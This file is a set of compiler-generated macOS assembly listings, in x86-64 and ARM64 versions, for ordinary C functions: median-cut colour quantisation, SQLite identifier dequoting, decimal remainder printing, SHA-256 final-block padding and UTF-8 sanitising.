.section __TEXT,__text,regular,pure_instructions .build_version macos, 15, 0 sdk_version 15, 5 .p2align 2 ; -- Begin function median_cut _median_cut: ; @median_cut .cfi_startproc ; %bb.0: stp x28, x27, [sp, #-96]! ; 16-byte Folded Spill stp x26, x25, [sp, #16] ; 16-byte Folded Spill stp x24, x23, [sp, #32] ; 16-byte Folded Spill stp x22, x21, [sp, #48] ; 16-byte Folded Spill stp x20, x19, [sp, #64] ; 16-byte Folded Spill stp x29, x30, [sp, #80] ; 16-byte Folded Spill add x29, sp, #80 mov w9, #12304 ; =0x3010 Lloh0: adrp x16, ___chkstk_darwin@GOTPAGE Lloh1: ldr x16, [x16, ___chkstk_darwin@GOTPAGEOFF] blr x16 sub sp, sp, #3, lsl #12 ; =12288 sub sp, sp, #16 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 .cfi_offset w19, -24 .cfi_offset w20, -32 .cfi_offset w21, -40 .cfi_offset w22, -48 .cfi_offset w23, -56 .cfi_offset w24, -64 .cfi_offset w25, -72 .cfi_offset w26, -80 .cfi_offset w27, -88 .cfi_offset w28, -96 mov x19, x5 mov x21, x4 mov x22, x3 mov x23, x2 mov x24, x1 mov x25, x0 Lloh2: adrp x8, ___stack_chk_guard@GOTPAGE Lloh3: ldr x8, [x8, ___stack_chk_guard@GOTPAGEOFF] Lloh4: ldr x8, [x8] stur x8, [x29, #-88] bl _GetProcessHeap Lloh5: adrp x8, _HEAP_ZERO_MEMORY@GOTPAGE Lloh6: ldr x8, [x8, _HEAP_ZERO_MEMORY@GOTPAGEOFF] Lloh7: ldr w1, [x8] mov w2, #8 ; =0x8 bl _HeapAlloc cbz x0, LBB0_8 ; %bb.1: mov x20, x0 mov w8, #0 ; =0x0 mov w9, #0 ; =0x0 Lloh8: adrp x10, _R_SHIFT@GOTPAGE Lloh9: ldr x10, [x10, _R_SHIFT@GOTPAGEOFF] add x11, x25, #2 Lloh10: adrp x12, _G_SHIFT@GOTPAGE Lloh11: ldr x12, [x12, _G_SHIFT@GOTPAGEOFF] Lloh12: adrp x13, _B_SHIFT@GOTPAGE Lloh13: ldr x13, [x13, _B_SHIFT@GOTPAGEOFF] mov w25, w21 b LBB0_3 LBB0_2: ; in Loop: Header=BB0_3 Depth=1 sub w9, w9, #1 sub w8, w8, w22 cmp w9, w23 b.hi LBB0_6 LBB0_3: ; =>This Loop Header: Depth=1 ; Child Loop BB0_5 Depth 2 cbz w24, LBB0_2 ; %bb.4: ; in Loop: Header=BB0_3 Depth=1 add x14, x11, w8, uxtw ldr x15, [x20] mov x16, x24 LBB0_5: ; Parent Loop BB0_3 Depth=1 ; => This Inner Loop Header: Depth=2 ldrb w17, [x14] ldrb w0, [x10] lsr w17, w17, w0 ldr x17, [x15, w17, uxtw #3] ldurb w0, [x14, #-1] ldrb w1, [x12] lsr w0, w0, w1 ldr x17, [x17, w0, uxtw #3] ldurb w0, [x14, #-2] ldrb w1, [x13] lsr w0, w0, w1 ldr w1, [x17, w0, uxtw #2] add w1, w1, #1 str w1, [x17, w0, uxtw #2] add x14, x14, #3 subs w16, w16, #1 b.ne LBB0_5 b LBB0_2 LBB0_6: Lloh14: adrp x8, _R_COUNT@GOTPAGE Lloh15: ldr x8, [x8, _R_COUNT@GOTPAGEOFF] Lloh16: ldr x8, [x8] sub x8, x8, #1 stp x8, xzr, [sp, #40] Lloh17: adrp x8, _G_COUNT@GOTPAGE Lloh18: ldr x8, [x8, _G_COUNT@GOTPAGEOFF] Lloh19: ldr x8, [x8] sub x8, x8, #1 stp x8, xzr, [sp, #24] Lloh20: adrp x8, _B_COUNT@GOTPAGE Lloh21: ldr x8, [x8, _B_COUNT@GOTPAGEOFF] Lloh22: ldr x8, [x8] sub x8, x8, #1 stp x8, xzr, [sp, #8] add x24, sp, #8 add x1, sp, #8 mov x0, x20 bl _shrink_box cmp w21, #2 b.ge LBB0_9 ; %bb.7: mov w22, #1 ; =0x1 b LBB0_12 LBB0_8: mov w22, #0 ; =0x0 b LBB0_22 LBB0_9: lsr w8, w21, #1 add w22, w8, #1 mov w23, #1 ; =0x1 mov w26, #48 ; =0x30 LBB0_10: ; =>This Inner Loop Header: Depth=1 add x0, sp, #8 mov x1, x23 bl _find_box_max_count cbz x0, LBB0_10 ; %bb.11: ; in Loop: Header=BB0_10 Depth=1 mov x1, x0 add x27, x23, #1 madd x2, x23, x26, x24 mov x0, x20 bl _split_box mov x23, x27 cmp x27, x22 b.ne LBB0_10 LBB0_12: cmp w22, w21 b.ge LBB0_17 ; %bb.13: mov w21, w22 mov w8, #48 ; =0x30 add x9, sp, #8 umaddl x22, w22, w8, x9 LBB0_14: ; =>This Inner Loop Header: Depth=1 add x0, sp, #8 mov x1, x21 bl _find_box_max_score cbz x0, LBB0_18 ; %bb.15: ; in Loop: Header=BB0_14 Depth=1 mov x1, x0 add x21, x21, #1 mov x0, x20 mov x2, x22 bl _split_box add x22, x22, #48 cmp x25, x21 b.ne LBB0_14 ; %bb.16: mov x22, x25 LBB0_17: cmp w22, #1 b.ge LBB0_19 b LBB0_21 LBB0_18: mov x22, x21 cmp w22, #1 b.lt LBB0_21 LBB0_19: mov w23, w22 add x21, sp, #8 LBB0_20: ; =>This Inner Loop Header: Depth=1 mov x0, x20 mov x1, x21 bl _box_color str w0, [x19], #4 add x21, x21, #48 subs x23, x23, #1 b.ne LBB0_20 LBB0_21: bl _GetProcessHeap mov w1, #0 ; =0x0 mov x2, x20 bl _HeapFree LBB0_22: ldur x8, [x29, #-88] Lloh23: adrp x9, ___stack_chk_guard@GOTPAGE Lloh24: ldr x9, [x9, ___stack_chk_guard@GOTPAGEOFF] Lloh25: ldr x9, [x9] cmp x9, x8 b.ne LBB0_24 ; %bb.23: mov x0, x22 add sp, sp, #3, lsl #12 ; =12288 add sp, sp, #16 ldp x29, x30, [sp, #80] ; 16-byte Folded Reload ldp x20, x19, [sp, #64] ; 16-byte Folded Reload ldp x22, x21, [sp, #48] ; 16-byte Folded Reload ldp x24, x23, [sp, #32] ; 16-byte Folded Reload ldp x26, x25, [sp, #16] ; 16-byte Folded Reload ldp x28, x27, [sp], #96 ; 16-byte Folded Reload ret LBB0_24: bl ___stack_chk_fail .loh AdrpLdrGotLdr Lloh5, Lloh6, Lloh7 .loh AdrpLdrGotLdr Lloh2, Lloh3, Lloh4 .loh AdrpLdrGot Lloh12, Lloh13 .loh AdrpLdrGot Lloh10, Lloh11 .loh AdrpLdrGot Lloh8, Lloh9 .loh AdrpLdrGotLdr Lloh20, Lloh21, Lloh22 .loh AdrpLdrGotLdr Lloh17, Lloh18, Lloh19 .loh AdrpLdrGotLdr Lloh14, Lloh15, Lloh16 .loh AdrpLdrGotLdr Lloh23, Lloh24, Lloh25 .loh AdrpLdrGot Lloh0, Lloh1 .cfi_endproc ; -- End function .comm _HEAP_ZERO_MEMORY,4,2 ; @HEAP_ZERO_MEMORY .comm _R_SHIFT,1,0 ; @R_SHIFT .comm _G_SHIFT,1,0 ; @G_SHIFT .comm _B_SHIFT,1,0 ; @B_SHIFT .comm _R_COUNT,8,3 ; @R_COUNT .comm _G_COUNT,8,3 ; @G_COUNT .comm _B_COUNT,8,3 ; @B_COUNT .no_dead_strip _median_cut .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 15, 0 sdk_version 15, 5 .globl _sqlite3Dequote ## -- Begin function sqlite3Dequote .p2align 4, 0x90 _sqlite3Dequote: ## @sqlite3Dequote .cfi_startproc ## %bb.0: testq %rdi, %rdi je LBB0_9 ## %bb.1: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp pushq %r15 pushq %r14 pushq %r13 pushq %r12 pushq %rbx pushq %rax .cfi_offset %rbx, -56 .cfi_offset %r12, -48 .cfi_offset %r13, -40 .cfi_offset %r14, -32 .cfi_offset %r15, -24 movq %rdi, %rbx movzbl (%rdi), %r14d movsbl %r14b, %edi callq _sqlite3Isquote testl %eax, %eax je LBB0_8 ## %bb.2: cmpb $91, %r14b movzbl %r14b, %eax movl $93, %r14d cmovnel %eax, %r14d movl $1, %r12d xorl %r15d, %r15d jmp LBB0_3 .p2align 4, 0x90 LBB0_6: ## in Loop: Header=BB0_3 Depth=1 movb %al, (%rbx,%r15) incq %r15 incl %r12d LBB0_3: ## =>This Inner Loop Header: Depth=1 movslq %r12d, %r13 movsbl (%rbx,%r13), %edi callq _assert movzbl (%rbx,%r13), %eax cmpb %r14b, %al jne LBB0_6 ## %bb.4: ## in Loop: Header=BB0_3 Depth=1 cmpb %r14b, 1(%rbx,%r13) jne LBB0_7 ## %bb.5: ## in Loop: Header=BB0_3 Depth=1 incq %r13 movl %r14d, %eax movl %r13d, %r12d jmp LBB0_6 LBB0_7: movl %r15d, %eax movb $0, (%rbx,%rax) LBB0_8: addq $8, %rsp popq %rbx popq %r12 popq %r13 popq %r14 popq %r15 popq %rbp LBB0_9: retq .cfi_endproc ## -- End function .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 15, 0 sdk_version 15, 5 .globl _sqlite3Dequote ; -- Begin function sqlite3Dequote .p2align 2 _sqlite3Dequote: ; @sqlite3Dequote .cfi_startproc ; %bb.0: cbz x0, LBB0_8 ; %bb.1: stp x24, x23, [sp, #-64]! ; 16-byte Folded Spill stp x22, x21, [sp, #16] ; 16-byte Folded Spill stp x20, x19, [sp, #32] ; 16-byte Folded Spill stp x29, x30, [sp, #48] ; 16-byte Folded Spill add x29, sp, #48 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 .cfi_offset w19, -24 .cfi_offset w20, -32 .cfi_offset w21, -40 .cfi_offset w22, -48 .cfi_offset w23, -56 .cfi_offset w24, -64 mov x19, x0 ldrsb w20, [x0] mov x0, x20 bl _sqlite3Isquote cbz w0, LBB0_7 ; %bb.2: mov x21, #0 ; =0x0 mov w8, #93 ; =0x5d cmp w20, #91 csel w20, w8, w20, eq mov w22, #1 ; =0x1 b LBB0_4 LBB0_3: ; in Loop: Header=BB0_4 Depth=1 strb w8, [x19, x21] add x21, x21, #1 add w22, w22, #1 LBB0_4: ; =>This Inner Loop Header: Depth=1 sxtw x23, w22 ldrsb w0, [x19, x23] bl _assert ldrb w8, [x19, x23] cmp w8, w20, uxtb b.ne LBB0_3 ; %bb.5: ; in Loop: Header=BB0_4 Depth=1 add x22, x23, #1 ldrb w8, [x19, x22] cmp w8, w20, uxtb mov x8, x20 ; kill: def $w22 killed $w22 killed $x22 def $x22 b.eq LBB0_3 ; %bb.6: strb wzr, [x19, w21, uxtw] LBB0_7: ldp x29, x30, [sp, #48] ; 16-byte Folded Reload ldp x20, x19, [sp, #32] ; 16-byte Folded Reload ldp x22, x21, [sp, #16] ; 16-byte Folded Reload ldp x24, x23, [sp], #64 ; 16-byte Folded Reload LBB0_8: ret .cfi_endproc ; -- End function .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 15, 0 sdk_version 15, 5 .section __TEXT,__literal16,16byte_literals .p2align 4, 0x0 ## -- Begin function print_remainder LCPI0_0: .long 1127219200 ## 0x43300000 .long 1160773632 ## 0x45300000 .long 0 ## 0x0 .long 0 ## 0x0 LCPI0_1: .quad 0x4330000000000000 ## double 4503599627370496 .quad 0x4530000000000000 ## double 1.9342813113834067E+25 .section __TEXT,__literal8,8byte_literals .p2align 3, 0x0 LCPI0_2: .quad 0x43e0000000000000 ## double 9.2233720368547758E+18 LCPI0_3: .quad 0x4024000000000000 ## double 10 .section __TEXT,__text,regular,pure_instructions .p2align 4, 0x90 _print_remainder: ## @print_remainder .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp pushq %r15 pushq %r14 pushq %rbx pushq %rax .cfi_offset %rbx, -40 .cfi_offset %r14, -32 .cfi_offset %r15, -24 cmpl $19, %edx movl $19, %r15d cmovll %edx, %r15d xorl %eax, %eax cmpl %esi, %r15d jg LBB0_13 ## %bb.1: movl %esi, %r14d movq %rdi, %rbx testl %edx, %edx jle LBB0_2 ## %bb.3: movl %r15d, %ecx andl $7, %ecx cmpl $8, %edx jge LBB0_5 ## %bb.4: movl $1, %eax jmp LBB0_7 LBB0_2: movl $1, %eax jmp LBB0_9 LBB0_5: movl %r15d, %edx andl $24, %edx movl $1, %eax .p2align 4, 0x90 LBB0_6: ## =>This Inner Loop Header: Depth=1 imulq $100000000, %rax, %rax ## imm = 0x5F5E100 addl $-8, %edx jne LBB0_6 LBB0_7: testl %ecx, %ecx je LBB0_9 .p2align 4, 0x90 LBB0_8: ## =>This Inner Loop Header: Depth=1 addq %rax, %rax leaq (%rax,%rax,4), %rax decl %ecx jne LBB0_8 LBB0_9: movq %rax, %xmm1 movq LCPI0_0(%rip), %xmm2 ## xmm2 = [1127219200,1160773632,0,0] punpckldq %xmm2, %xmm1 ## xmm1 = xmm1[0],xmm2[0],xmm1[1],xmm2[1] movapd LCPI0_1(%rip), %xmm3 ## xmm3 = [4.503599627370496E+15,1.9342813113834067E+25] subpd %xmm3, %xmm1 movapd %xmm1, %xmm4 unpckhpd %xmm1, %xmm4 ## xmm4 = xmm4[1],xmm1[1] addsd %xmm1, %xmm4 mulsd %xmm0, %xmm4 cvttsd2si %xmm4, %rdx movq %rdx, %rsi sarq $63, %rsi movsd LCPI0_2(%rip), %xmm0 ## xmm0 = [9.2233720368547758E+18,0.0E+0] movapd %xmm4, %xmm1 subsd %xmm0, %xmm1 cvttsd2si %xmm1, %rcx andq %rsi, %rcx orq %rdx, %rcx movq %rcx, %xmm1 punpckldq %xmm2, %xmm1 ## xmm1 = xmm1[0],xmm2[0],xmm1[1],xmm2[1] subpd %xmm3, %xmm1 movapd %xmm1, %xmm2 unpckhpd %xmm1, %xmm2 ## xmm2 = xmm2[1],xmm1[1] addsd %xmm1, %xmm2 addsd %xmm4, %xmm2 mulsd LCPI0_3(%rip), %xmm2 cvttsd2si %xmm2, %rdx movq %rdx, %rsi subsd %xmm0, %xmm2 cvttsd2si %xmm2, %rdi sarq $63, %rsi andq %rsi, %rdi orq %rdx, %rdi leaq 1(%rcx), %rsi leaq -1(%rax), %rdx cmpq %rax, %rsi cmovbq %rsi, %rdx cmpq $5, %rdi cmovbq %rcx, %rdx movq %rbx, %rdi movl %r14d, %esi callq _print_dec_ll ## kill: def $eax killed $eax def $rax cmpl %r15d, %eax jge LBB0_11 ## %bb.10: movslq %eax, %rdi addq %rbx, %rdi notl %eax addl %r15d, %eax incq %rax movl $48, %esi movq %rax, %rdx callq _memset movl %r15d, %eax LBB0_11: cmpl %r14d, %eax jge LBB0_13 ## %bb.12: movslq %eax, %rcx incl %eax movb $46, (%rbx,%rcx) LBB0_13: ## kill: def $eax killed $eax killed $rax addq $8, %rsp popq %rbx popq %r14 popq %r15 popq %rbp retq .cfi_endproc ## -- End function .no_dead_strip _print_remainder .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 15, 0 sdk_version 15, 5 .p2align 2 ; -- Begin function print_remainder _print_remainder: ; @print_remainder .cfi_startproc ; %bb.0: stp x22, x21, [sp, #-48]! ; 16-byte Folded Spill stp x20, x19, [sp, #16] ; 16-byte Folded Spill stp x29, x30, [sp, #32] ; 16-byte Folded Spill add x29, sp, #32 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 .cfi_offset w19, -24 .cfi_offset w20, -32 .cfi_offset w21, -40 .cfi_offset w22, -48 mov w8, #19 ; =0x13 cmp w2, #19 csel w21, w2, w8, lt cmp w21, w1 b.le LBB0_2 ; %bb.1: mov w0, #0 ; =0x0 b LBB0_13 LBB0_2: mov x20, x1 mov x19, x0 cmp w2, #1 b.lt LBB0_5 ; %bb.3: cmp w2, #4 b.ge LBB0_6 ; %bb.4: mov w9, #0 ; =0x0 mov w8, #1 ; =0x1 b LBB0_7 LBB0_5: mov w8, #1 ; =0x1 b LBB0_9 LBB0_6: and w9, w21, #0x1c mov w8, #10 ; =0xa mov w10, #100 ; =0x64 cmp w9, #12 mov w11, #1000 ; =0x3e8 mov w12, #10000 ; =0x2710 csel x11, x11, x12, eq cmp w9, #8 csel x10, x10, x11, eq cmp w9, #4 csel x8, x8, x10, eq umull x8, w8, w8 umull x8, w8, w8 cmp w21, w9 b.eq LBB0_9 LBB0_7: sub w9, w21, w9 LBB0_8: ; =>This Inner Loop Header: Depth=1 add x8, x8, x8, lsl #2 lsl x8, x8, #1 subs w9, w9, #1 b.ne LBB0_8 LBB0_9: ucvtf d1, x8 fmul d0, d1, d0 fcvtzu x9, d0 fcvtzu d1, d0 ucvtf d1, d1 fadd d0, d0, d1 fmov d1, #10.00000000 fmul d0, d0, d1 fcvtzu x10, d0 add x11, x9, #1 sub x12, x8, #1 cmp x11, x8 csinc x8, x12, x9, hs cmp x10, #4 csel x2, x8, x9, hi mov x0, x19 mov x1, x20 bl _print_dec_ll cmp w0, w21 b.ge LBB0_11 ; %bb.10: add x8, x19, w0, sxtw mvn w9, w0 add w9, w21, w9 add x2, x9, #1 mov x0, x8 mov w1, #48 ; =0x30 bl _memset mov x0, x21 LBB0_11: cmp w0, w20 b.ge LBB0_13 ; %bb.12: mov w8, #46 ; =0x2e strb w8, [x19, w0, sxtw] add w0, w0, #1 LBB0_13: ldp x29, x30, [sp, #32] ; 16-byte Folded Reload ldp x20, x19, [sp, #16] ; 16-byte Folded Reload ldp x22, x21, [sp], #48 ; 16-byte Folded Reload ret .cfi_endproc ; -- End function .no_dead_strip _print_remainder .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 15, 0 sdk_version 15, 5 .p2align 4, 0x90 ## -- Begin function SHA256_Last _SHA256_Last: ## @SHA256_Last .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp pushq %r15 pushq %r14 pushq %r12 pushq %rbx .cfi_offset %rbx, -48 .cfi_offset %r12, -40 .cfi_offset %r14, -32 .cfi_offset %r15, -24 movq %rdi, %rbx movl (%rdi), %edi movl %edi, %eax sarl $3, %eax movq _PG_SHA256_BLOCK_LENGTH@GOTPCREL(%rip), %r12 cltd idivl (%r12) movl %edx, %r14d movl %edi, %esi callq _REVERSE64 movq 8(%rbx), %rsi testl %r14d, %r14d je LBB0_7 ## %bb.1: movl %r14d, %eax incl %r14d movl $128, (%rsi,%rax,4) movq _PG_SHA256_SHORT_BLOCK_LENGTH@GOTPCREL(%rip), %r15 movl (%r15), %edx subl %r14d, %edx jae LBB0_2 ## %bb.4: movl (%r12), %edx subl %r14d, %edx jb LBB0_6 ## %bb.5: movl %r14d, %eax leaq (%rsi,%rax,4), %rdi xorl %esi, %esi callq _memset movq 8(%rbx), %rsi LBB0_6: movq %rbx, %rdi callq _SHA256_Transform movq 8(%rbx), %rdi movl (%r15), %edx jmp LBB0_3 LBB0_7: movq _PG_SHA256_SHORT_BLOCK_LENGTH@GOTPCREL(%rip), %rax movl (%rax), %edx movq %rsi, %rdi xorl %esi, %esi callq _memset movq 8(%rbx), %rax movl $128, (%rax) jmp LBB0_8 LBB0_2: movl %r14d, %eax leaq (%rsi,%rax,4), %rdi LBB0_3: xorl %esi, %esi callq _memset LBB0_8: movl (%rbx), %eax movq 8(%rbx), %rsi movq _PG_SHA256_SHORT_BLOCK_LENGTH@GOTPCREL(%rip), %rcx movl (%rcx), %ecx movl %eax, (%rsi,%rcx,4) movq %rbx, %rdi popq %rbx popq %r12 popq %r14 popq %r15 popq %rbp jmp _SHA256_Transform ## TAILCALL .cfi_endproc ## -- End function .comm _PG_SHA256_BLOCK_LENGTH,4,2 ## @PG_SHA256_BLOCK_LENGTH .comm _PG_SHA256_SHORT_BLOCK_LENGTH,4,2 ## @PG_SHA256_SHORT_BLOCK_LENGTH .no_dead_strip _SHA256_Last .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 15, 0 sdk_version 15, 5 .p2align 2 ; -- Begin function SHA256_Last _SHA256_Last: ; @SHA256_Last .cfi_startproc ; %bb.0: stp x22, x21, [sp, #-48]! ; 16-byte Folded Spill stp x20, x19, [sp, #16] ; 16-byte Folded Spill stp x29, x30, [sp, #32] ; 16-byte Folded Spill add x29, sp, #32 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 .cfi_offset w19, -24 .cfi_offset w20, -32 .cfi_offset w21, -40 .cfi_offset w22, -48 mov x19, x0 ldr w0, [x0] asr w8, w0, #3 Lloh0: adrp x21, _PG_SHA256_BLOCK_LENGTH@GOTPAGE Lloh1: ldr x21, [x21, _PG_SHA256_BLOCK_LENGTH@GOTPAGEOFF] ldr w9, [x21] sdiv w10, w8, w9 msub w22, w10, w9, w8 mov x1, x0 bl _REVERSE64 ldr x1, [x19, #8] Lloh2: adrp x20, _PG_SHA256_SHORT_BLOCK_LENGTH@GOTPAGE Lloh3: ldr x20, [x20, _PG_SHA256_SHORT_BLOCK_LENGTH@GOTPAGEOFF] cbz w22, LBB0_5 ; %bb.1: add w8, w22, #1 mov w9, #128 ; =0x80 str w9, [x1, w22, uxtw #2] ldr w9, [x20] subs w2, w9, w8 b.hs LBB0_6 ; %bb.2: ldr w9, [x21] subs w2, w9, w8 b.lo LBB0_4 ; %bb.3: add x0, x1, w8, uxtw #2 mov w1, #0 ; =0x0 bl _memset ldr x1, [x19, #8] LBB0_4: mov x0, x19 bl _SHA256_Transform ldr x0, [x19, #8] ldr w2, [x20] b LBB0_7 LBB0_5: ldr w2, [x20] mov x0, x1 mov w1, #0 ; =0x0 bl _memset ldr x8, [x19, #8] mov w9, #128 ; =0x80 str w9, [x8] b LBB0_8 LBB0_6: add x0, x1, w8, uxtw #2 LBB0_7: mov w1, #0 ; =0x0 bl _memset LBB0_8: ldr w8, [x19] ldr x1, [x19, #8] ldr w9, [x20] str w8, [x1, x9, lsl #2] mov x0, x19 ldp x29, x30, [sp, #32] ; 16-byte Folded Reload ldp x20, x19, [sp, #16] ; 16-byte Folded Reload ldp x22, x21, [sp], #48 ; 16-byte Folded Reload b _SHA256_Transform .loh AdrpLdrGot Lloh2, Lloh3 .loh AdrpLdrGot Lloh0, Lloh1 .cfi_endproc ; -- End function .comm _PG_SHA256_BLOCK_LENGTH,4,2 ; @PG_SHA256_BLOCK_LENGTH .comm _PG_SHA256_SHORT_BLOCK_LENGTH,4,2 ; @PG_SHA256_SHORT_BLOCK_LENGTH .no_dead_strip _SHA256_Last .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 15, 0 sdk_version 15, 5 .p2align 4, 0x90 ## -- Begin function sanitize_utf8 _sanitize_utf8: ## @sanitize_utf8 .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp pushq %r15 pushq %r14 pushq %r13 pushq %r12 pushq %rbx subq $56, %rsp .cfi_offset %rbx, -56 .cfi_offset %r12, -48 .cfi_offset %r13, -40 .cfi_offset %r14, -32 .cfi_offset %r15, -24 movl %esi, %ebx movq %rdi, %r14 movl $128, -60(%rbp) movl $0, -64(%rbp) leal -1(%rbx), %edi movl $1, %esi callq _xcalloc movq %rax, -56(%rbp) ## 8-byte Spill movq %rbx, -96(%rbp) ## 8-byte Spill testl %ebx, %ebx js LBB0_28 ## %bb.1: movq -56(%rbp), %rax ## 8-byte Reload addq $16, %rax movq %rax, -88(%rbp) ## 8-byte Spill leaq 16(%r14), %rax movq %rax, -80(%rbp) ## 8-byte Spill movl $128, %ecx xorl %r15d, %r15d xorl %r13d, %r13d xorl %r12d, %r12d movq %r14, -72(%rbp) ## 8-byte Spill jmp LBB0_2 .p2align 4, 0x90 LBB0_26: ## in Loop: Header=BB0_2 Depth=1 incl %r15d LBB0_27: ## in Loop: Header=BB0_2 Depth=1 movl -60(%rbp), %ecx leal 1(%r12), %eax cmpl -96(%rbp), %r12d ## 4-byte Folded Reload movl %eax, %r12d jge LBB0_28 LBB0_2: ## =>This Loop Header: Depth=1 ## Child Loop BB0_10 Depth 2 ## Child Loop BB0_13 Depth 2 ## Child Loop BB0_22 Depth 2 ## Child Loop BB0_24 Depth 2 movl %ecx, -44(%rbp) ## 4-byte Spill movslq %r12d, %rbx movzbl (%r14,%rbx), %edx leaq -60(%rbp), %rdi leaq -64(%rbp), %rsi callq _utf8_decode cmpl $128, %eax je LBB0_15 ## %bb.3: ## in Loop: Header=BB0_2 Depth=1 cmpl $129, %eax jne LBB0_26 ## %bb.4: ## in Loop: Header=BB0_2 Depth=1 testl %r15d, %r15d je LBB0_29 ## %bb.5: ## in Loop: Header=BB0_2 Depth=1 jle LBB0_6 ## %bb.7: ## in Loop: Header=BB0_2 Depth=1 movl %r12d, %ebx subl %r15d, %ebx movslq %r13d, %r13 movq -56(%rbp), %rax ## 8-byte Reload leaq (%rax,%r13), %rdi leal 1(%rbx), %r14d cmpl %r14d, %r12d cmovgl %r12d, %r14d addl %r15d, %r14d subl %r12d, %r14d leal -1(%r14), %edx incq %rdx movl $63, %esi callq _memset cmpl $4, %r14d jae LBB0_9 ## %bb.8: ## in Loop: Header=BB0_2 Depth=1 movl -44(%rbp), %edx ## 4-byte Reload movq -72(%rbp), %r14 ## 8-byte Reload jmp LBB0_12 .p2align 4, 0x90 LBB0_15: ## in Loop: Header=BB0_2 Depth=1 testl %r15d, %r15d jle LBB0_16 ## %bb.17: ## in Loop: Header=BB0_2 Depth=1 movl %ebx, %eax subl %r15d, %eax movslq %eax, %rcx movslq %r13d, %rdx leaq 1(%rcx), %rsi cmpq %rbx, %rsi cmovleq %rbx, %rsi subq %rcx, %rsi cmpq $32, %rsi jae LBB0_19 ## %bb.18: ## in Loop: Header=BB0_2 Depth=1 movq %rdx, %r13 movq %rcx, %rax movq -56(%rbp), %r9 ## 8-byte Reload jmp LBB0_24 LBB0_29: ## in Loop: Header=BB0_2 Depth=1 movslq %r13d, %rax incl %r13d movq -56(%rbp), %rcx ## 8-byte Reload movb $63, (%rcx,%rax) movl -44(%rbp), %edx ## 4-byte Reload jmp LBB0_14 LBB0_16: ## in Loop: Header=BB0_2 Depth=1 movq -56(%rbp), %r9 ## 8-byte Reload jmp LBB0_25 LBB0_19: ## in Loop: Header=BB0_2 Depth=1 movq -56(%rbp), %r9 ## 8-byte Reload leaq (%r9,%rdx), %rax subq %r14, %rax subq %rcx, %rax cmpq $32, %rax jae LBB0_21 ## %bb.20: ## in Loop: Header=BB0_2 Depth=1 movq %rdx, %r13 movq %rcx, %rax jmp LBB0_24 LBB0_6: ## in Loop: Header=BB0_2 Depth=1 movl -44(%rbp), %edx ## 4-byte Reload jmp LBB0_14 LBB0_9: ## in Loop: Header=BB0_2 Depth=1 movl %r14d, %eax andl $-4, %eax addl %eax, %ebx movq %r13, %xmm1 pxor %xmm0, %xmm0 movl %eax, %ecx pcmpeqd %xmm2, %xmm2 .p2align 4, 0x90 LBB0_10: ## Parent Loop BB0_2 Depth=1 ## => This Inner Loop Header: Depth=2 psubq %xmm2, %xmm1 psubq %xmm2, %xmm0 addl $-4, %ecx jne LBB0_10 ## %bb.11: ## in Loop: Header=BB0_2 Depth=1 paddq %xmm1, %xmm0 pshufd $238, %xmm0, %xmm1 ## xmm1 = xmm0[2,3,2,3] paddq %xmm0, %xmm1 movq %xmm1, %r13 cmpl %eax, %r14d movl -44(%rbp), %edx ## 4-byte Reload movq -72(%rbp), %r14 ## 8-byte Reload je LBB0_14 LBB0_12: ## in Loop: Header=BB0_2 Depth=1 leal 1(%rbx), %eax cmpl %eax, %r12d cmovgl %r12d, %eax movl %ebx, %ecx notl %ecx addl %eax, %ecx addq %rcx, %r13 incq %r13 .p2align 4, 0x90 LBB0_13: ## Parent Loop BB0_2 Depth=1 ## => This Inner Loop Header: Depth=2 incl %ebx cmpl %r12d, %ebx jl LBB0_13 LBB0_14: ## in Loop: Header=BB0_2 Depth=1 movl $128, -60(%rbp) xorl %eax, %eax cmpl $128, %edx setne %al subl %eax, %r12d xorl %r15d, %r15d jmp LBB0_27 LBB0_21: ## in Loop: Header=BB0_2 Depth=1 movq %rsi, %rdi andq $-32, %rdi leaq (%rdi,%rdx), %r13 leaq (%rdi,%rcx), %rax addq -88(%rbp), %rdx ## 8-byte Folded Reload addq -80(%rbp), %rcx ## 8-byte Folded Reload xorl %r8d, %r8d .p2align 4, 0x90 LBB0_22: ## Parent Loop BB0_2 Depth=1 ## => This Inner Loop Header: Depth=2 movdqu -16(%rcx,%r8), %xmm0 movdqu (%rcx,%r8), %xmm1 movdqu %xmm0, -16(%rdx,%r8) movdqu %xmm1, (%rdx,%r8) addq $32, %r8 cmpq %r8, %rdi jne LBB0_22 ## %bb.23: ## in Loop: Header=BB0_2 Depth=1 cmpq %rdi, %rsi je LBB0_25 .p2align 4, 0x90 LBB0_24: ## Parent Loop BB0_2 Depth=1 ## => This Inner Loop Header: Depth=2 movzbl (%r14,%rax), %ecx movb %cl, (%r9,%r13) incq %r13 incq %rax cmpq %rbx, %rax jl LBB0_24 LBB0_25: ## in Loop: Header=BB0_2 Depth=1 movzbl (%r14,%rbx), %eax movslq %r13d, %rcx incl %r13d movb %al, (%r9,%rcx) xorl %r15d, %r15d jmp LBB0_27 LBB0_28: movq -56(%rbp), %rax ## 8-byte Reload addq $56, %rsp popq %rbx popq %r12 popq %r13 popq %r14 popq %r15 popq %rbp retq .cfi_endproc ## -- End function .no_dead_strip _sanitize_utf8 .subsections_via_symbols
